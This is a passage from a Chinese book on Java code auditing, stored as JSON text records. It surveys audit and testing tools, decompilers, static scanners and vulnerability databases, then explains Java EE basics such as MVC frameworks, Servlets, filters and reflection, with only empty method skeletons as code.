    {"text": "3.1 代码编辑器 3.1.1 Sublime Sublime 是一款轻量级的、功能强大的代码及文本编辑器，允许用户以插件的形 式拓展功能，其界面如图 3-1 所示。 42 第 3 章 代码审计辅助工具简介 图 3-1 Sublime 界面 3.1.2 IDEA IntelliJ IDEA 是由 Jetbrains 公司开发的一款 Java IDE，自带反编译、动态调试以 及代码搜索等功能，为漏洞定位和挖掘提供了极大的便利。 相比 Eclipse 需要安装相 关插件才可以完成反编译等工作，IntelliJ IDEA 自带的强大功能更有利于我们进行代 码审计，其界面如图 3-2 所示。 图 3-2 IntelliJ IDEA 界面 3.2 测试工具 43 3.1.3 Eclipse Eclipse 是 Java 开发者非常喜欢的工具之一，它具有强大的编辑、调试功能，允 许开发人员安装不同的插件，从而拓展不同的功能。 例如，基于 Eclipse 的 FindBugs 漏洞扫描插件可以帮助开发者寻找应用程序中的各种 Bug，其界面截图如图 3-3 所示。 图 3-3 Eclipse 界面截图 3.2 测试工具 3.2.1 Burp Suite Burp Suite 是渗透测试工作者必备的一款工具，同时对于代码审计者和安全研究 人员来说，这也是一款比较重要的测试工具，其跨平台、便捷、强大的功能以及丰 富的插件，深受信息安全从业者的喜爱。"},
    {"text": "44 第 3 章 代码审计辅助工具简介 新版 Burp Suite 共有 11 个主选项卡，分别是 Dashboard、Target、Proxy、Intruder、 Repeater、Sequencer、Decoder、Comparer、Extender、Project options 以及 User options。"},
    {"text": "Dashboard 主要功能是扫描控制、日志显示等，如图 3-4 所示。 图 3-4 Dashboard 功能界面 Target 主要包含 Site map、Scope 以及 Issue definitions 这 3 个选项栏，如图 3-5 所示。"},
    {"text": "图 3-5 Target 功能界面 3.2 测试工具 45 该功能主要是帮助信息安全从业人员更好地了解目标应用的整体信息，如当前 站点涉及的目标域、可能存在的攻击面等。"},
    {"text": "Proxy 是 Burp Suite 的核心功能，信息安全从业人员可以通过 Proxy 拦截、查看、 修改所有在客户端和服务器端之间传输的数据，其主要界面如图 3-6 所示。"},
    {"text": "图 3-6 Proxy 功能界面 Intruder 主要用于自动化测试，如弱口令爆破、盲注测试、目录猜解等，其主界 面如图 3-7 所示。 图 3-7 Intruder 功能界面 46 第 3 章 代码审计辅助工具简介 Repeater 主要用于多次重放请求响应以及对修改后的服务器端响应的消息进行 分析，其主界面如图 3-8 所示。"},
    {"text": "3.2.2 SwitchyOmega SwitchyOmega 是一款代理管理插件，支持 Firefox 和 Chrome 浏览器，并支持 HTTP、HTTPS、socket4 和 socket5 协议。 在日常实际测试工作中，常需要切换代理， SwitchyOmega 可以方便、快速地完成代理设置的切换，如图 3-9 所示。 图 3-9 SwitchyOmega 界面截图 3.2 测试工具 47 3.2.3 Max HackerBar HackBar 是 Firefox 的一个插件，也是信息安全从业者常用的经典工具。"},
    {"text": "此外，在 Load URL 地址框的下方，还有 Post data、Referer、User Agent、Cookies 选项框，全部勾选后会出现对应的输入框，如图 3-11 所示。 图 3-11 HackBar 界面选项框 在对应的输入框中输入相应内容后，即可设置 Post data、Referer、User Agent 和 Cookies，此外，在 Load URL 地址框的上方，还有 Encryption、Encoding、SQL、 XSS、LFI、XXE、Other 功能下拉菜单，如图 3-12 所示。"},
    {"text": "48 第 3 章 代码审计辅助工具简介 图 3-12 HackBar 界面功能菜单 使用这些功能可以实现 MD5、SHA-1、SHA-256、ROT13 的加密，Base64 的加 解密，URL 编码解码，Hex 加解密等，此外还可以使用 SQL 常用语句、XSS 常用 Payload、LFI 常用路径以及大小写转换等功能。"},
    {"text": "3.2.4 Postman Postman 是一款功能强大的网页调试工具，能够为用户提供强大的 Web API & HTTP 请求调试功能。 Postman 能够发送任何类型的 HTTP 请求，方便测试人员观察 响应的内容，如图 3-13 所示。 图 3-13 Postman 界面截图 3.2 测试工具 49 3.2.5 Postwomen Postman 是一款便捷的 API 接口调试工具，但是由于其高级功能需要付费，因此 Postwomen 应运而生。 Postwomen 是一个用于替代 Postman 且免费开源、轻量级、快 速且美观的 API 调试工具。 Postwomen 由 Node.js 开发，除支持主流的 Restful 接口 调试外，还支持 GraphQL 和 WebSocket，其主界面如图 3-14 所示。 图 3-14 Postwomen 界面截图 3.2.6 Tamper Data Tamper Data 是 Firefox 浏览器的一款 Web 安全测试插件，它的主要功能包括以 下几种。"},
    {"text": "50 第 3 章 代码审计辅助工具简介 图 3-15 Tamper Data 界面截图 3.2.7 Ysoserial Ysoserial 是一款开源的 Java 反序列化测试工具，内部集成有多种利用链，可以 快速生成用于攻击的代码，也可以将新公开的反序列化漏洞利用方式自行加入 Ysoserial 中，如图 3-16 所示。 图 3-16 Ysoserial 界面截图 3.2.8 Marshalsec Marshalsec 是一款开源的 Java 反序列化测试工具，不仅可以生成各类反序列化 3.2 测试工具 51 利用链，还可以快速启动恶意的 RMI 服务等，如图 3-17 所示。"},
    {"text": "1．MySQL 日志查询工具 这是基于 MySQL 的日志查询、跟踪、分析工具。 MySQL 日志查询工具是易语 言开发，功能比较简单，只需要输入服务器地址、数据库名称、数据库端口、数据 库用户以及数据库密码，如图 3-18 所示，即可进入该软件的主界面，如图 3-19 所示。 图 3-18 MySQL 日志查询工具数据库登录窗口 52 第 3 章 代码审计辅助工具简介 图 3-19 MySQL 日志查询工具 该工具拥有 3 个简单的功能，即日志参数设置（见图 3-20）、用户权限设置（见 图 3-21）以及日志查询（见图 3-22）功能。 图 3-20 日志参数设置 3.2 测试工具 53 图 3-21 用户权限设置 图 3-22 日志查询 该工具的使用方法也很简单，确定数据库日志开启后，切换到日志查询界面， 选择自动查询，当有 SQL 语句被执行时，会自动显示出执行的 SQL 语句，如图 3-23 所示。 54 第 3 章 代码审计辅助工具简介 图 3-23 自动显示执行的 SQL 语句 2．MySQL Monitor MySQL Monitor 是 Web 版本的 SQL 记录实时监控工具，其使用方法也很简单， 只要将源代码上传到 PHP 环境中，输入数据库的账号和密码即可记录下 SQL 的执行 语句，其主界面如图 3-24 所示。 图 3-24 MySQL Monitor 界面截图 当执行 SQL 语句时，该工具会记录下所有的执行语句，如图 3-25 所示。 该工具的优点是不仅能够记录用户进行某些 SQL 操作时的语句，还能够详细地 记录下站点运行时本身执行的 SQL 语句。 当站点本身使用增删改查的功能时，该工 具都可以记录下来，但是也正因为如此详尽，会导致一些冗余数据混淆其中，不便 于审计者寻找用户执行的 SQL 语句。"},
    {"text": "3.2 测试工具 55 图 3-25 MySQL Monitor 记录下的执行语句 3.2.10 Beyond Compare Beyond Compare 是由 Scooter Software 推出的文件比较工具，主要对比两个文件 夹或者文件，并以颜色标示差异，比较范围包括目录、文档内容等。"},
    {"text": "图 3-26 Beyond Compare 界面截图 56 第 3 章 代码审计辅助工具简介 3.3 反编译工具 在大多数情况下，需要审计的程序通常是一个.class 文件或者 Jar 包，此时需要 对程序进行反编译，以便于在进行代码审计时快速搜索关键字。"},
    {"text": "3.3.1 JD-GUI JD-GUI 是一款具有 UI 界面的反编译工具，界面简洁大方，使用简单方便，其 主界面如图 3-27 所示。 图 3-27 JD-GUI 界面截图 3.3.2 FernFlower FernFlower 反编译工具的功能比 JD-GUI 更强大。"},
    {"text": "3.3 反编译工具 57 图 3-28 使用 FernFlower 进行反编译 3.3.3 CFR CFR 也是功能强大的反编译工具，支持主流 Java 特性—Java 8 lambda 表达式， 以及 Java 7 字符串切换。 在某些 JD-GUI 无法反编译的情况下，CFR 仍然能完美地进 行反编译，也可以像 FernFlower 那样配合系统指令进行批量反编译。"},
    {"text": "图 3-29 使用 CFR 进行反编译 58 第 3 章 代码审计辅助工具简介 3.3.4 IntelliJ IDEA IntelliJ IDEA 反编译工具能够自动解包已添加依赖的 Jar 包，并对其内容进行反编 译。"},
    {"text": "图 3-30 使用 IntelliJ IDEA 的反编译功能 3.4 Java 代码静态扫描工具 静态扫描工具可以帮助安全人员快速发现程序中隐藏的漏洞，在审计工作中可 以起到辅助的作用。"},
    {"text": "3.4 Java 代码静态扫描工具 59 图 3-31 Fortify SCA 界面截图 3.4.2 VCG VisualCodeGrepper 简称 VCG，它是基于 VB 开发的一款 Windows 下的白盒审 计工具。"},
    {"text": "图 3-32 VisualCodeGrepper 界面截图 60 第 3 章 代码审计辅助工具简介 3.4.3 FindBugs 与 FindSecBugs 插件 FindBugs 是一款 Bug 扫描插件，在 IDEA 和 Eclipse 中都可进行安装。 FindBugs 可以帮助开发人员发现代码缺陷，减少 Bug，但其本身并不具备发现安全漏洞的能力， 需要安装 FindSecBugs 拓展发现安全漏洞的能力，如图 3-33 所示。 图 3-33 FindSecBugs 界面截图 3.4.4 SpotBugs SpotBugs 是 FindBugs 的继任者，所以二者用法基本一样，可以独立使用，也可 以作为插件使用。 SpotBugs 需要运行在 JDK1.8 以上的版本，可以分析 JDK1.0~1.9 版本编译的 Java 程序，如图 3-34 所示。"},
    {"text": "3.5 公开漏洞查找平台 61 图 3-34 SpotBugs 界面截图 3.5 公开漏洞查找平台 3.5.1 CVE CVE（Common Vulnerabilities & Exposures，通用漏洞披露）会列出已公开披露 的各种计算机安全漏洞，每个安全漏洞都被分配一个 CVE 编号作为标识。"},
    {"text": "图 3-35 CVE 的官网 这里分享一个小经验：CVE Search 网站支持用户依据关键词、时间与 CVSS（通 用漏洞评分系统）对 CVE 漏洞进行搜索，如图 3-36 所示。 62 第 3 章 代码审计辅助工具简介 图 3-36 通过网站进行 CVE 漏洞搜索 3.5.2 NVD NVD 为美国国家通用漏洞数据库，同 CVE 一样会收录漏洞信息，并对收录的漏 洞进行危害评级。"},
    {"text": "图 3-38 CNVD 的漏洞搜索结果 3.5.4 CNNVD CNNVD 是中国国家信息安全漏洞库（China National Vulnerability Database of Information Security），于 2009 年 10 月 18 日正式成立，是中国信息安全测评中心为 切实履行漏洞分析和风险评估的职能，负责建设、运维的国家信息安全漏洞库，面 向国家、行业和公众提供灵活多样的信息安全数据服务，为我国信息安全保障提供 基础服务。"},
    {"text": "64 第 3 章 代码审计辅助工具简介 图 3-39 CNNVD 的漏洞信息页 3.6 小结 虽然代码审计辅助工具可以帮助我们快速发现漏洞，提高效率，但是我们不需 要刻意使用各式各样的工具，根据自己的需求进行选择是最重要的。"},
    {"text": "第 4 章 Java EE 基础知识 Java 平台有 3 个主要版本，分别是 Java SE（Java Platform Standard Edition，Java 平台标准版）、Java EE（Java Platform Enterprise Edition，Java 平台企业版）和 Java ME （Java Platform Micro Edition，Java 平台微型版）。"},
    {"text": "Java EE 也称为 Java 2 Platform 或 Enterprise Edition（J2EE），2018 年 3 月更 名为 Jakarta EE。 Java EE 是 Sun 公司为企业级应用推出的标准平台，用来开发 B/S 架构软件。 Java EE 可以说是一个框架，也可以说是一种规范。"},
    {"text": "4.1 Java EE 分层模型 Web 开发诞生之初都是静态的 HTML 页面，后来随着需求大量增长和技术快速 发展，逐渐出现了数据库和动态页面，但是没有分层概念。"},
    {"text": "66 第 4 章 Java EE 基础知识 4.1.1 Java EE 的核心技术 Java EE 的核心技术有很多，包括 JDBC、JNDI、EJB、RMI、Servlet、JSP、XML、 JMS、Java IDL、JTS、JTA、JavaMail 和 JAF。"},
    {"text": "Java 数据库连接（ Java Database Connectivity ， JDBC ）在 Java 语言中用来规 范客户端程序如何访问数据库的应用程序接口，提供了诸如查询和更新数据库中数 据的方法。"},
    {"text": "Java 命名和目录接口（ Java Naming and Directory Interface ， JNDI ）是 Java 的 一个目录服务应用程序界面（API），它提供了一个目录系统，并将服务名称与对象 关联起来，从而使开发人员在开发过程中可以用名称来访问对象。"},
    {"text": "Servlet （ Server Applet ）是使用 Java 编写的服务器端程序。 狭义的 Servlet 是指 Java 语言实现的一个接口，广义的 Servlet 是指任何实现该 Servlet 接口的类。"},
    {"text": "JSP （ JavaServer Pages ）是由 Sun 公司主导并创建的一种动态网页技术标准。 JSP 部署于网络服务器上，可以响应客户端发送的请求，并根据请求内容动态生成 HTML、XML 或其他格式文档的 Web 网页，然后返回给请求者。"},
    {"text": "Java 消息服务（ Java Message Service ， JMS ）是一个 Java 平台中关于面向消息 中间件（MOM）的 API，用于在两个应用程序之间或分布式系统中发送消息，进行 异步通信。"},
    {"text": "4.2 了解 MVC 模式与 MVC 框架 67 Domain Object （领域对象）层：本层由一系列 POJO（Plain Old Java Object，普 通的、传统的 Java 对象）组成，这些对象是该系统的 Domain Object，通常包含各自 所需实现的业务逻辑方法。"},
    {"text": "Controller （控制器）层：本层由一系列控制器组成，这些控制器用于拦截用户 的请求，并调用业务逻辑组件的业务逻辑方法去处理用户请求，然后根据处理结果 向不同的 View 组件转发。 View （表现）层：本层由一系列的页面及视图组件组成，负责收集用户请求， 并显示处理后的结果。"},
    {"text": "如图 4-1 所示，首先由数据库给 Domain Object 层提供持久化服务，然后由 Domain Object 层去封装 DAO 层，DAO 层为业务逻辑层提供数据访问服务，接着业 务逻辑层为控制器层提供逻辑支持，最终在表现层显示结果。"},
    {"text": "在 MVC 应用程序中，有 3 个主要的核 心部件，分别是模型、视图、控制器，它们独立处理各自的任务，这种分离的思想 使得我们在审计时能够抓住关键问题，而不用关心类似于界面显示等无关紧要的问 68 第 4 章 Java EE 基础知识 题。"},
    {"text": "4.2.1 Java MVC 模式 1．MVC 的概念 MVC 模式最早在 1978 年提出，是施乐帕克研究中心（Xerox PARC）在 20 世纪 80 年代为程序语言 Smalltalk 发明的一种软件架构。"},
    {"text": "MVC 全名是 Model View Controller，M（Model）是指数据模型，V（View）是指用户界面，C（Controller） 是控制器。 使用 MVC 最直接的目的就是将 M 和 V 实现代码分离，C 则是确保 M 和 V 的同步，一旦 M 改变，V 就应该同步更新。 简单来说，MVC 是一个设计模式， 它强制性地使应用程序的输入、处理和输出分开。 MVC 应用程序被分成 3 个核心部 件：Model、View、Controller。"},
    {"text": "控制器（ Controller ）：表示逻辑控制，控制器对模型和视图都有作用，控制数 据流进入模型对象，并在数据更改时更新视图，是视图和模型的中间层。"},
    {"text": "4.2 了解 MVC 模式与 MVC 框架 69 图 4-2 MVC 的工作流程 4.2.2 Java MVC 框架 Java MVC 的框架有很多，如比较经典的 Struts1 框架、Struts2 框架、Spring MVC 框架，此外还有小众的 JSF 框架以及 Tapestry 框架。"},
    {"text": "Struts1 框架：Struts 是较早的 Java 开源框架之一，它是 MVC 设计模式的一个优 秀实现。 Struts1 框架基于 MVC 模式定义了通用的 Controller，通过配置文件分离了 Model 和 View，通过 Action 对用户请求进行了封装，使代码更加清晰、易读，整个 项目也更易管理。 Struts2 框架：Struts2 框架并不是单纯由 Struts1 版本升级而来，而是 Apache 根 据一个名为 WebWork 的项目发展而来的，所以两者的关系并不大。 Struts2 框架同 样是一个基于 MVC 设计模式的 Web 应用框架，它本质上相当于一个 Servlet。 在 MVC 设计模式中，Struts2 作为控制器来建立模型与视图的数据交互。"},
    {"text": "Spring MVC 框架：Spring MVC 是一个基于 MVC 思想的优秀应用框架,它是 Spring 的一个子框架，也是一个非常优秀的 MVC 框架。 Spring MVC 角色划分清晰， 分工明细，并且与 Spring 框架无缝结合。 作为当今业界最主流的 Web 开发框架，Spring MVC 框架已经成为当前最热门的开发技能之一，同时也广泛用于桌面开发领域。"},
    {"text": "JSF 框架：JSF 框架是一个用于构建 Java Web 应用程序的标准框架，也是一个 70 第 4 章 Java EE 基础知识 MVC Web 应用框架，它提供了一种以组件为中心的用户界面（UI）构建方法，从而 简化了 Java 服务器端应用程序的开发。"},
    {"text": "Tapestry 框架：Tapestry 框架也是一种基于 Java 的 Web 应用程序框架，与上述 4 款框架相比，Tapestry 并不是一种单纯的 MVC 框架，它更像 MVC 框架和模板技 术的结合，不仅包含前端的 MVC 框架，还包含一种视图层的模板技术，并使用 Tapestry 完全与 Servlet/JSP API 分离，是一种非常优秀的设计。 相对于现有的其他 Web 应用程序框架而言，Tapestry 框架会帮助开发者从烦琐的、不必要的底层代码中 解放出来。"},
    {"text": "4.3.1 Servlet 的配置 版本不同，Servlet 的配置不同。 Servlet 3.0 之前的版本都是在 web.xml 中配置 的，而 Servlet 3.0 之后的版本则使用更为便捷的注解方式来配置。 此外，不同版本的 Servlet 所需的 Java/JDK 版本也不相同，具体如表 4-1 所示。 表 4-1 Servlet 版本及其对应的 Java 版本 Servlet 版本 对应的 Java 版本 发布日期 对应的 Tomcat 版本 Servlet 1.0 1997 年 6 月 Servlet 2.0 Java 1.1 Servlet 2.1 未指定 1998 年 11 月 Servlet 2.2 Java 1.1 1999 年 8 月 Tomcat 3.3.x Servlet 2.3 Java 1.3 2001 年 8 月 Tomcat 4.1.x 4.3 Java Web 的核心技术——Servlet 71 续表 Servlet 版本 对应的 Java 版本 发布日期 对应的 Tomcat 版本 Servlet 2.4 Java 1.4 2003 年 11 月 Tomcat 5.5.x Servlet 2.5 Java 5 / JDK 1.5 2005 年 9 月 Tomcat 6.0.x Servlet 3.0 Java 6 / JDK 1.6 2009 年 12 月 Tomcat 7.0.x Servlet 3.1 Java 7 / JDK 1.7 2013 年 5 月 Tomcat 8.5.x Servlet 4.0 Java 8 / JDK 1.8 2017 年 9 月 Tomcat 9.0.x 1．基于 web.xml 图 4-3 所示是一个基于 web.xml 的 Servlet 配置。 图 4-3 web.xml 的 Servlet 配置 在 web.xml 中，Servlet 的配置在 Servlet 标签中，Servlet 标签是由 Servlet 和 Servlet-mapping 标签组成，两者通过在 Servlet 和 Servlet-mapping 标签中相同的 Servlet-name 名称实现关联，在图 4-3 中的标签含义如下。 ● <servlet>：声明 Servlet 配置入口。 ● <description>：声明 Servlet 描述信息。"},
    {"text": "2．基于注解方式 Servlet 3.0 以上的版本中，开发者无须在 web.xml 里面配置 Servlet，只需要添加 @WebServlet 注解即可修改 Servlet 的属性，如图 4-4 所示。 图 4-4 基于注解方式配置 Servlet 可以看到第 13 行@WebServlet 的注解参数有 description 及 urlPatterns，除此之外 还有很多参数，具体如表 4-2 所示。 表 4-2 基于注解方式的注解参数 属性名 类型 描述 name String 指定 Servlet 的 name 属性，等价于 <servlet-name> value String[] 等价于 urlPatterns 属性 urlPatterns String[] 指定一组 Servlet 的 URL 匹配模式，等价于 <url-pattern> 标签 loadOnStartup int 指定 Servlet 的加载顺序，等价于 <load-on-startup> 标签 initParams WebInitParam[] 指定一组 Servlet 初始化参数，等价于 <init-param> 标签 asyncSupported boolean 声明 Servlet 是否支持异步操作模式，等价于 <async-supported> 标签 description String Servlet 的描述信息，等价于<description>标签 displayName String Servlet 的显示名，通常配合工具使用，等价于 <display-name> 标签 4.3 Java Web 的核心技术——Servlet 73 由此可以看出，web.xml 可以配置的 Servlet 属性，都可以通过@WebServlet 的方 式进行配置。"},
    {"text": "4.3.2 Servlet 的访问流程 以图 4-3 为例，在该 Servlet 配置中，其访问流程如图 4-5 所示。 图 4-5 Servlet 的访问流程 首先在浏览器地址栏中输入 user，即访问 url-pattern 标签中的值； 然后浏览器发 起请求，服务器通过 servlet-mapping 标签中找到文件名为 user 的 url-pattern，通过其 对应的 servlet-name 寻找 servlet 标签中 servlet-name 相同的 servlet； 再通过 servlet 标 签中的 servlet-name，获取 servlet-class 参数； 最后得到具体的 class 文件路径，继而 执行 servlet-class 标签中 class 文件的逻辑。 从 上 述 过 程 可 以 看 出 ， servlet 和 servlet-mapping 中 都 含 有 <servlet-name> </servlet-name>标签，其主要原因是通过 servlet-name 作为纽带，将 servlet-class 和 url-pattern 构成联系，从而使 URL 映射到 servlet-class 所指定的类中执行相应逻辑。"},
    {"text": "4.3.3 Servlet 的接口方法 在创建 Servlet 文件时，开发工具会提示开发者是否创建相应的接口方法，如图 4-6 所示。 74 第 4 章 Java EE 基础知识 图 4-6 创建 Servlet 的接口方法 HTTP 有 8 种请求方法，分别为 GET、POST、HEAD、OPTIONS、PUT、DELETE、 TRACE 以及 CONNECT 方法。 与此类似，Servlet 接口中也对应着相应的请求接口： GET、POST、HEAD、OPTIONS、PUT、DELETE 以及 TRACE，这些接口对应着请 求类型，service()方法会检查 HTTP 请求类型，然后在适当的时候调用 doGet、 doPost、doPut，doDelete 等方法。 Servlet 的接口方法如下。 1．init() 接口 在 Servlet 实例化后，Servlet 容器会调用 init()方法来初始化该对象，主要是使 Servlet 对象在处理客户请求前可以完成一些初始化工作，例如建立数据库的连接， 获取配置信息等。 init() 方法在第一次创建 Servlet 时被调用，在后续每次用户请求 时不再被调用。"},
    {"text": "public void init() throws ServletException{ // 此处内容为开发者定义的初始化代码 } 2．service() 接口 service() 方法是执行实际任务的主要方法。 Servlet 容器（Web 服务器）调用 4.3 Java Web 的核心技术——Servlet 75 service()方法来处理来自客户端（浏览器）的请求，并将格式化的响应写回给客户端， 每次服务器接收到一个 Servlet 请求时，服务器都会产生一个新的线程并调用服务。 要注意的是，在 service()方法被 Servlet 容器调用之前，必须确保 init()方法正确完成。"},
    {"text": "public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException { // 此处内容为开发者处理用户请求的代码 } 3．doGet()/doPost()等接口 doGet() 等方法根据 HTTP 的不同请求调用不同的方法。 如果 HTTP 得到一个来 自 URL 的 GET 请求，就会调用 doGet() 方法； 如果得到的是一个 POST 请求，就 会调用 doPost() 方法。"},
    {"text": "public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 此处内容为开发者处理 GET 请求的代码 // 以此类推，若是 POST 请求，则调用 public void doPost 方法 } 4．destroy() 接口 当 Servlet 容器检测到一个 Servlet 对象应该从服务中被移除时，会调用该对象的 destroy() 方法，以便 Servlet 对象释放它所使用的资源，保存数据到持久存储设备中。"},
    {"text": "public void destroy() { // 此处内容为开发者进行终止操作的代码 } 76 第 4 章 Java EE 基础知识 5．getServletConfig() 接口 getServletConfig() 方法返回 Servlet 容器调用 init() 方法时传递给 Servlet 对象的 ServletConfig 对象，ServletConfig 对象包含 Servlet 的初始化参数。 开发者可以在 Servlet 的配置文件 web.xml 中，使用<init-param>标签为 Servlet 配置一些初始化参数： <servlet> <servlet-name>servlet</servlet-name> <servlet-class>org.test.TestServlet</servlet-class> <init-param> <param-name>userName</param-name> <param-value>panda</param-value> </init-param> <init-param> <param-name>E-mail</param-name> <param-value>test@test.net</param-value> </init-param> </servlet> 经过上面的配置，即可在 Servlet 中通过调用 getServletConfig()，并获得一些初 始化的参数。 6．getServletInfo() 接口 getServletInfo() 方法会返回一个 String 类型的字符串，包括关于 Servlet 的信 息，如作者、版本及版权等。"},
    {"text": "4.3.4 Servlet 的生命周期 我们常说的 Servlet 生命周期指的是 Servlet 从创建直到销毁的整个过程。 在一个 生命周期中，Servlet 经历了被加载、初始化、接收请求、响应请求以及提供服务的 过程，如图 4-7 所示。 图 4-7 Servlet 生命周期 4.4 Java Web 过滤器——filter 77 当用户第一次向服务器发起请求时，服务器会解析用户的请求，此时容器会加 载 Servlet，然后创建 Servet 实例，再调用 init() 方法初始化 Servlet，紧接着调用服 务的 service() 方法去处理用户 GET、POST 或者其他类型的请求。 当执行完 Servlet 中对应 class 文件的逻辑后，将结果返回给服务器，服务器再响应用户请求。 当服务 器不再需要 Servlet 实例或重新载入 Servlet 时，会调用 destroy() 方法，借助该方法， Servlet 可以释放掉所有在 init()方法中申请的资源。"},
    {"text": "4.4 Java Web 过滤器——filter filter 被称为过滤器，是 Servlet 2.3 新增的一个特性，同时它也是 Servlet 技术中 最实用的技术。 开发人员通过 Filter 技术，能够实现对所有 Web 资源的管理，如实 现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。 4.4.1 filter 的配置 filter 的配置类似于 Servlet，由<filter>和<filter-mapping>两组标签组成，如图 4-8 所示。"},
    {"text": "filter 同样有很多标签，其中各个标签的含义如下。 ● <filter>：指定一个过滤器。 ● <filter-name>：用于为过滤器指定一个名称，该元素的内容不能为空。 ● <filter-class>：用于指定过滤器的完整的限定类名。 ● <init-param>：用于为过滤器指定初始化参数。"},
    {"text": "图 4-8 filter 基于 web.xml 的配置 2．基于注解方式的配置 因为 Servlet 的关系，在 Servlet 3.0 以后，开发者同样可以不用在 web.xml 里面 配置 filter，只需要添加@WebServlet 注解就可以修改 filter 的属性，如图 4-9 所示， 是以注解方式配置 filter。 图 4-9 filter 基于注解方式的配置 4.4 Java Web 过滤器——filter 79 可以看到第 15 行的@WebServlet 的注解参数有 description 及 urlPatterns，此外还 有很多参数，具体如表 4-3 所示。 表 4-3 基于注解方式配置 filter 的参数及其说明 属性 类型 是否必需 说明 asyncSupported boolean 否 指定 filter 是否支持异步模式 dispatcherTypes DispatcherType[] 否 指定 filter 对哪种方式的请求进行过滤 filterName String 否 filter 名称 initParams WebInitParam[] 否 配置参数 displayName String 否 filter 显示名 servletNames String[] 否 指定对哪些 Servlet 进行过滤 urlPatterns/value String[] 否 两个属性作用相同，指定拦截的路径 由此可见，web.xml 可以配置的 filter 属性都可以通过 @WebServlet 的方式进行 配置。 但需要注意的是，一般不推荐使用注解方式来配置 filter，因为如果存在多个 过滤器，使用 web.xml 配置 filter 可以控制过滤器的执行顺序；"},
    {"text": "4.4.2 filter 的使用流程及实现方式 filter 接口中有一个 doFilter 方法，当开发人员编写好 Filter 的拦截逻辑，并配置 对哪个 Web 资源进行拦截后，Web 服务器会在每次调用 Web 资源的 service() 方法之 前先调用 doFilter 方法，具体流程如图 4-10 所示。"},
    {"text": "filter 进行拦截的方式也很简单，在 HttpServletRequest 到达 Servlet 之前，filter 拦 截 客 户 的 HttpServletRequest ， 根 据 需 要 检 查 HttpServletRequest ， 也 可 以 修 改 HttpServletRequest 头 和 数 据 。 在 HttpServletResponse 到 达 客 户 端 之 前 ， 拦 截 HttpServletResponse，根据需要检查 HttpServletResponse，也可以修改 HttpServletResponse 头和数据。"},
    {"text": "80 第 4 章 Java EE 基础知识 图 4-10 filter 的使用流程 4.4.3 filter 的接口方法 在创建 filter 文件时，开发工具会提示开发者是否创建相应的接口方法，如图 4-11 所示。 图 4-11 创建 filter 文件的相应接口方法 4.4 Java Web 过滤器——filter 81 与 Servlet 接口不同的是，filter 接口在创建时就默认创建了所有的方法，这些方 法如下。 1．Init() 接口 与 Servlet 中的 init() 方法类似，filter 中的 init() 方法用于初始化过滤器。"},
    {"text": "public void init(FilterConfig fConfig) throws ServletException { // 此处内容为开发者定义的初始化代码... } 2．doFilter() 接口 doFilter 方法类似于 Servlet 接口的 service() 方法。"},
    {"text": "当客户端请求目标资源时， 容 器 会 筛 选 出 符 合 <filter-mapping> 标 签 中 <url-pattern> 的 filter ， 并 按 照 声 明 <filter-mapping> 的顺序依次调用这些 filter 的 doFilter() 方法。 需要注意的是 doFilter() 方法有多个参数，其中参数 request 和 response 为 Web 服务器或 filter 链中的上一个 filter 传递过来的请求和响应对象。 参数 chain 代表当前 filter 链的 对象，只有在当前 filter 对象中的 doFilter() 方法内部需要调用 FilterChain 对象的 doFilter() 方法时，才能把请求交付给 filter 链中的下一个 filter 或者目标程序处理。 doFilter() 方法的定义如下。 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 此处内容为开发者定义的过滤代码 ... // 传递 filter 链 chain.doFilter(request, response); } 3．destroy() 接口 filter 中的 destroy() 方法与 Servlet 中的 destroy() 作用类似，在 Web 服务器卸 载 filter 对象之前被调用，用于释放被 filter 对象打开的资源，如关闭数据库、关闭 I/O 流等。"},
    {"text": "public void destroy() { // 此处内容为开发者进行终止操作的代码 } 4.4.4 filter 的生命周期 filter 的生命周期与 Servlet 的生命周期比较类似，指的是 filter 从创建到销毁的 整个过程。 在一个生命周期中，filter 经历了被加载、初始化、提供服务及销毁的过 程，如图 4-12 所示。 图 4-12 filter 的生命周期 当 Web 容器启动时，会根据 web.xml 中声明的 filter 顺序依次实例化这些 filter。"},
    {"text": "然后在 Web 应用程序加载时调用 init() 方法，随即在客户端有请求时调用 doFilter() 方法，并且根据实际情况的不同，doFilter() 方法可能被调用多次。"},
    {"text": "4.5 Java 反射机制 Java 反射机制可以无视类方法、变量去访问权限修饰符（如 protected、private 等），并且可以调用任何类的任意方法、访问并修改成员变量值。 换而言之，在能够 控制反射的类名、方法名和参数的前提下，如果我们发现一处 Java 反射调用漏洞， 则攻击者几乎可以为所欲为。"},
    {"text": "对此，Oracle 官方有着相关解释： “Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions.”（反射使 Java 代码 能够发现有关已加载类的字段、方法和构造函数的信息，并在安全限制内使用反射 的字段、方法和构造函数对其底层对应的对象进行操作。"},
    {"text": "） 简单来说，通过反射，我们可以在运行时获得程序或程序集中每一个类型的成 员和成员的信息。 同样，Java 的反射机制也是如此，在运行状态中，通过 Java 的反 射机制，我们能够判断一个对象所属的类；"},
    {"text": "在开发过程中使用 Eclipse、IDEA 等开发工具时，当我们输 入一个对象或类并想调用它的属性或方法时，编译器会自动列出它的属性或方法， 这是通过反射实现的；"},
    {"text": "84 第 4 章 Java EE 基础知识 4.5.3 反射的基本运用 由于大部分 Java 的应用框架采用了反射机制，因此掌握 Java 反射机制可以提高 我们的代码审计能力。"},
    {"text": "图 4-15 直接获取类对象 （3）使用 getClass() 方法。 我们可以通过 Object 类中的 getClass() 方法来获取字节码对象。 不过这种方法 较为烦琐，必须要明确具体的类，然后创建对象，如图 4-16 所示。 图 4-16 使用 getClass() 方法获取类对象 86 第 4 章 Java EE 基础知识 （4）使用 getSystemClassLoader().loadClass() 方法。 getSystemClassLoader().loadClass() 方法与 forName() 方法类似，只要有类名称 即可，但是与 forName() 方法有些区别。"},
    {"text": "如上文中提到的使用 JDBC，就是利用 forName()方法，使 JVM 查找并加 载指定的类到内存中，此时将“com.mysql.jdbc.Driver” 当作参数传入，就是告知 JVM 去“com.mysql.jdbc”路径下查找 Driver 类，并将其加载到内存中。"},
